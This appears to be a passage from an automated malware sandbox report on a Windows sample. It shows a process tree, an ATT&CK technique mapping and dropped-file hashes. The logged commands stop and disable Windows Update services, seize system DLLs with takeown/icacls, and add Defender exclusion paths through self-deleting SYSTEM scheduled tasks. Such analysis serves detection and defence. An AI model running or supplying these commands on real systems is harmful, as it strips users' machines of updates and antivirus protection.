    PID:4740
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:2100
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:2792
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:708
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:704
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:3660
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:5140
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2700
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1976
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:2972
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:1792
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:1688
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1164
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:4488
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:4532
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:632
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3144
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3156
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3252
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4440
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2668
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3768
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3384
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2004
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4564
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:3180
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:3132
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:1356
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3236
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1512
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2328
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:4632
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2172
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9\vD2mL9.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4472
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9\vD2mL9.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5180
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9\vD2mL9.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1048
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9\vD2mL9.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2824
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9\vD2mL9.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9\vD2mL9.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1436
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1368
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4376
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5968
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2504
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5784
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1952
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3120
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1708
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5868
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2000
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1572
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2960
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3812
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4500
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2556
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:716
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4484
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5592
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3188
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4508
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4100
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5068
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4176

C:\Users\Public\6Yhgaq\gxGoag.exe
"C:\Users\Public\6Yhgaq\gxGoag.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1136

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\6Yhgaq" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3672
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\6Yhgaq" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5020

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5852

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2908

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2000

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5992
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3960

C:\Program Files (x86)\vD2mL9\vD2mL9.exe
"C:\Program Files (x86)\vD2mL9\vD2mL9.exe"
1⤵
PID:2400

C:\Program Files (x86)\SypGGO8c8\ygDWvvrK.exe
"C:\Program Files (x86)\SypGGO8c8\ygDWvvrK.exe"
1⤵
PID:5836

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\vD2mL9" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5436

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3508

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2532

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\SypGGO8c8\XPSPLOG.dll
Size 4.6MB
SHA256 d389080d729d13d9d303823df58f9d6764a098043f48e646d2dd8d617c8bd4e4
MD5 80d2f78dde7541685cab332dbd15bb86
SHA1 f69cb66d68451e4732c47f1f84a449b9ad602906
SHA512 b008003637a9e80451ac9857457ae2a929b86d3d9f9bd15f07dee5abcf3aae88af4a2492430164b04aa7ccd7009199eae8ea0302250bb15ca85e4a5cdad60aa5
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyJ:BMWKfU+BcUTHCCCfqCiUffnJ
TLSH
T1BA263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\SypGGO8c8\image.png
Size 4.8MB
SHA256 4a75e0074e82e9328bd17c123fd3e4ce3e4c405f35cc389c34745eb5b706b056
MD5 643119e6df8c15eb1ba9c9882c4b47c7
SHA1 7d91255944f649dcaf6acd8c44d24715ab2beb81
SHA512 5b10a91c2ba12b6183eb56c5f476715e46aba456d584875c8a1c9891089461542ad1c423770a0b14714ff841a338c98827da6c273a2d58ef8bd74e4b61e09d8b
SSDEEP 98304:7/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:7MpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T13836334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D70B3293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\vD2mL9\XPSPLOG.dll
Size 4.6MB
SHA256 f4437753056bfef5503bc7ac37571cc05c1a271d295d268e2845b06567813f14
MD5 0f6b436aae13acbe2d642b51c1027294
SHA1 83c2b67feb42c960c1a0c6e6c9ba4cca6fc0dfd1
SHA512 4ae2a7f5b17f8a92b2aeba8b964d1e4bbfd6c82ae3bad757b8d35c9dd3eec58d23ac58d83c573295dbce1043d8e7c0715b72d76538c1369127ca1b9e2a12fb79
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyQ:BMWKfU+BcUTHCCCfqCiUffnQ
TLSH
T197263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\vD2mL9\image.png
Size 4.8MB
SHA256 ea550ae2947e414db112c68c9a9d94402b7048edccb986c03d0f5f8cfbab7aa8
MD5 cbb757c5127ace2d5f312b6c5fe6f203
SHA1 40803cf21e04e2fc79f47f5d1a3ba718b85e2749
SHA512 2b4d5788411146c9f7149450533e9495344b8db5247b37a5d99a93b72804c0009ebd4a027201838261b7c07797f531389a91fc2995ea47708069ea23f0bf1fbe
SSDEEP 98304:x/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:xMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T10236334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\vD2mL9\thumbs.db
Size 358KB
SHA256 906a7f453713f76c015ea46816c46b2db7dcef0e58fceaf06ffd4367c8613287
MD5 085ae318030354a570cd34dac972aa74
SHA1 2feee77c454f70f848e7a28c978e30f183683fbf
SHA512 c77ad487460fd0245a2431b41346c00d32af55aa46d021059404a9ef74f9174bbf2dc5aee9ec6b4876ed5344341e63ed441df1135c21780a5b0f3ff063c0593b
SSDEEP 6144:OiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:B8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1C974F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vD2mL9.exe

Path C:\Program Files (x86)\vD2mL9\vD2mL9.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 83f48e95eda26f5c2ff4e591198f350971babeb5013e7ed50ef1fe22df30e66f
MD5 1d530eb7a751204678fed2948fc18aa0
SHA1 c765c845350c2d04547a364c23ed89687a754778
SHA512 db086d834882f14b4c9f0523c76d99db6108eea20d331926a2990eec0f90f5e165b72193b4bd5fbca7b37ff7f286a7f57852ecd450b90bfc5fd78920f1321660
TLSH
T1E431967B1F6D78834F2A4E9424CAE12239F6A3409CDC00471115C8A86F1C3B16F4ED0D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 14cb93700fe2f96e81bb3c5e28e38701d72940b7653334d9177e82b0c3d1c368
MD5 9a9967132ab8cc1bf6dbc891210e7969
SHA1 83b17c28a8dd2601dac3c403555453f27af230eb
SHA512 106a0befc8f0855daf115edfd333499008afa70ca465f1b48e40901be60b8a6f8159935d26df79c8446a283bb87a328b4f16a5a3d3e93a578c6bf3bc434b00c6
TLSH
T12A31D642AF7A10129F1C6F7961D4C63BACF195648DFC0C09623EC2BB8A59FBB6F85440
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 bed1d1eeb1447aa6edaf13b2ae4b8af949aea430b34d736bac4f9f0dfc930dda
MD5 6c5835e44d24aa2cc4de3faf450d0cff
SHA1 f23bd2b434253d1101491d2e7b26d8ae0859a660
SHA512 3d2a4b1fe2134f4b39029f3564ce37e6338516f8dda6c22d8551d137689a80fd083445bfd6360d0279f4c78b7ccc3d253bc34bd81f4f05bc11417bea464ad735
TLSH
T1A9F0DC241578812FF133EB388BC979A71D6FE602180694E80BB16709B643E573EA357E
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 53ce191e010a0a072debdba61d10292c796ad0c1d0497ccff48d434d0bbbf3ed
MD5 d8286bb8b9b658216147f18450dfa1cf
SHA1 d8ca2e4963a481cf93c986125dada082783ce76e
SHA512 d4e9a61e96eddaa8c3d7429d35fafb98516185faf35bf8880b77d1a3b104e54c306fe4012ec8ee2de5d357b1868202f8c0018cf4d02cbb507508ba5539e1d3f8
TLSH
T1BDF05C2C92ED901FF13BD2F886CB7AB29925D5232407A2B90BF603447F91D017C4166C
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_kyjcceco.lwf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kyjcceco.lwf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\6Yhgaq\UxEnhance64.dll
Size 3.1MB
SHA256 1a233d48bbc852311957b3e8dd1f1593992fada0aaa313f9a3f276583fde0487
MD5 10ddf15643819e57c97837fcc8a969be
SHA1 e51cd3dde9918bc9cff13f9793afdfb5fb1a6e69
SHA512 55c482f02359b371cc71b26401d7aaa5a58ce6143c20068c6b5e980d558e34e5fb4002dee841cc35fc1f232e47f7d71ae57de52258598d3454d2b3ae5e4f6904
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+0:P9m29xx3Tiqt06ox6+z2rNNrKo0
TLSH
T14EE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\6Yhgaq\adoresd.dat
Size 4.7MB
SHA256 e8905d0f796b7c5749786830d652dda49252bbd28558f6ffb4b3b1be14395366
MD5 03b941b5ce42deaa1477fd30c2eebdc7
SHA1 d6641b03296cd0d9ce4d1a6e950e36ebf784319e
SHA512 7b3cc368dd7c1ac3b67d0b5c8c06a2e97c8d6cb723b8e1cbed9f097ce9f59fb85d8372fe623f11f038d45cffe3418a8ac4436b99606d8cad617a741594527138
SSDEEP 98304:tKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:tKClqhi0Cv54K2IVS0VQg
TLSH
T18C3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gxGoag.exe

Path C:\Users\Public\6Yhgaq\gxGoag.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
